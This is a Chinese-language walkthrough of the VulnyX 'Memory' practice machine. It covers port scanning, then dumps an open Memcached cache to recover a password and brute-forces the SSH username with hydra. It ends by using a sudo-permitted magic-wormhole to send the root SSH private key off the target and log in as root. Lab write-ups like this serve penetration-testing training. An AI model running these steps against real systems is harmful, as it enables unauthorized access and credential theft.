vulnyx-Memory靶场渗透

https://vulnyx.com/

  1. 将两台虚拟机网络连接都改为NAT模式

  2. 攻击机上做namp局域网扫描发现靶机

    nmap -sn 192.168.23.0/24

那么攻击机IP为192.168.23.128,靶场IP192.168.23.136

  1. 扫描服务器开放了哪些端口,有什么服务

    nmap -sV -T4 -p- -A 192.168.23.136

1. 11211/tcp - Memcached 1.6.18 ------ 核心突破口

这是本次扫描中最值得关注 的端口。Memcached 通常用于缓存数据库查询以提高性能,但如果配置不当(默认配置),它往往没有身份验证机制

  • 风险点:如果该服务对公网或内网开放且未开启认证,攻击者可以直接读取缓存中的敏感数据(如 Session、API Key、数据库凭据)。
  • 利用思路
    • 信息泄露 :使用 telnetnc 连接,通过 stats itemsstats cachedump 命令遍历缓存内容。
    • 拒绝服务 (DoS):Memcached 曾被用于发动大规模的 UDP 反射攻击(虽然此处显示的是 TCP,但其风险依然存在)。
    • 命令注入/代码执行:如果 Web 应用(80端口)将序列化后的对象存储在 Memcached 中,攻击者可以通过修改缓存内容触发反序列化漏洞。
  1. 80/tcp - HTTP (Apache 2.4.65)
  • 当前状态 :显示为 Apache2 Debian Default Page: It works
  • 分析 :这通常意味着 Web 服务器刚装好,或者真正的 Web 应用隐藏在非默认路径下(如 /admin/v1 等)。
  • 下一步
    • 由于版本较新(2.4.65),直接利用 Web 服务器漏洞的可能性较低。
    • 必须进行目录爆破 :使用 ffufdirsearch 寻找隐藏的配置文件或管理后台。

3. 22/tcp - SSH (OpenSSH 9.2p1)

  • 版本:OpenSSH 9.2p1 属于比较现代的安全版本。
  • 分析:在没有凭据的情况下,暴力破解的效率极低且容易被锁定。
  • 关联性 :如果能从 11211 (Memcached) 中获取到数据库密码或用户 Session,可能会在这里找到登录系统的凭据。
  1. 访问 80 端口开放的 http 服务

是一个默认网页,扫描其子目录

复制代码
gobuster dir -e -u http://192.168.23.136/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

什么都没有

  1. Memcached是免费开源、高性能、分布式内存对象缓存系统,本质上是通用的,但旨在通过减轻数据库负载来加速动态 Web 应用程序。Memcached 是一个内存中的键值存储,用于存储来自数据库调用、API 调用或页面渲染结果的小块任意数据(字符串、对象)。

https://docs.memcached.org/

尝试直接使用 telnet 连接

复制代码
telnet 192.168.23.136 11211
复制代码
stats items

功能: 获取缓存项的分组统计信息,查看输出中的 STAT items:[ID]:number。Memcached 为了管理内存,会将数据根据大小存放在不同的 Slabs(石板/分区)中

  • items:1:这里的 1Slab ID

  • number 1:表示在这个 Slab 分区里目前存储了 1 个 Key。

  • 用途 :它是你的"地图",告诉你哪些分区里有数据。如果你看到某个 Slab 的 number 大于 0,就说明那里有"货"可以取。

    stats cachedump 1 0

功能:列出指定 Slab 中所有的 Key(键名)。

这是渗透中最关键的一步。它的语法格式是:stats cachedump [Slab_ID] [Limit]

  • 1:对应上面 stats items 查到的 Slab ID。
  • 0:表示列出的数量限制。0 代表列出该 Slab 下的所有 Key (某些版本可能需要输入一个很大的数字如 100 来替代)。

用途 :它就像 ls 命令,让你看到这个内存分区里到底存了哪些名字的变量。在上面的例子中,我们发现了一个名为 password 的 Key。

复制代码
get password

功能:读取指定 Key 的真实数据。

当你通过上面的命令找到了感兴趣的键名(如 password)后,就可以直接提取它的值。

  • password:你想查看的键(Key)。

成功能到密码NewPassword2025

  1. 不知道用户名,那就使用大字典爆破出用户

    unzip /usr/share/wordlists/rockyou.txt.gz
    hydra -t 64 -L /usr/share/seclists/Usernames/Names/names.txt -p NewPassword2025 ssh://192.168.23.136 -f

最后爆破出来用户名为 alan

复制代码
ssh alan@192.168.23.136

登录成功

  1. 信息收集一下

因为拿到了密码,尝试 sudo 提权

复制代码
sudo -l

允许通过 sudo 以 root 权限执行**/usr/bin/wormhole**

  1. 看看 wormhole 能做什么

    wormhole --help

Magic Wormhole 本身是一个用于安全传输文件和数据的工具,但当你拥有 sudo 权限且无需密码(NOPASSWD)执行它时,它就变成了一个提权利器。**关键点在于:**攻击者可以以 Root 权限发送或接收任意文件,甚至可以利用它覆盖系统的关键配置文件。

尝试走私 root 用户的私钥

复制代码
sudo /usr/bin/wormhole send /root/.ssh/id_rsa

kali 安装 wormhole,接收文件时候需要输入靶机生成的检验码4-warranty-ribcage

复制代码
apt install magic-wormhole
wormhole receive
  1. 拿到 root 私钥后,赋予 600 权限,再直接登录靶机的 root 账号

    chmod 600 id_rsa
    ssh -i id_rsa root@192.168.23.136

成功得到 flag

相关推荐
酿情师2 小时前
记第一次打春秋云境-Initial 靶场(没打完,记录一下,不是WP!!!)
服务器·网络安全
菩提小狗13 小时前
每日安全情报报告 · 2026-04-20
网络安全·漏洞·cve·安全情报·每日安全
云安全助手14 小时前
2026年AI安全大模型实战指南:快快云安全AI能力全景解析
人工智能·网络安全·claude
zmj32032418 小时前
欧盟 R155 核心范围
网络安全·信息安全
Y学院19 小时前
网络安全基础核心知识点教程
网络·web安全·php
CS创新实验室20 小时前
CS实验室行业报告:安全类岗位就业分析报告
网络安全·信息安全
德迅云安全-小潘21 小时前
游戏行业网络安全态势分析与应对
安全·web安全·游戏
网络安全许木1 天前
自学渗透测试第20天(防火墙基础与规则配置)
运维·服务器·网络·网络安全·渗透测试
网络安全实验室1 天前
【程序人生】程序员接私活常用平台汇总_嵌入式开发外包平台
网络·python·学习·程序人生·web安全·面试·职场和发展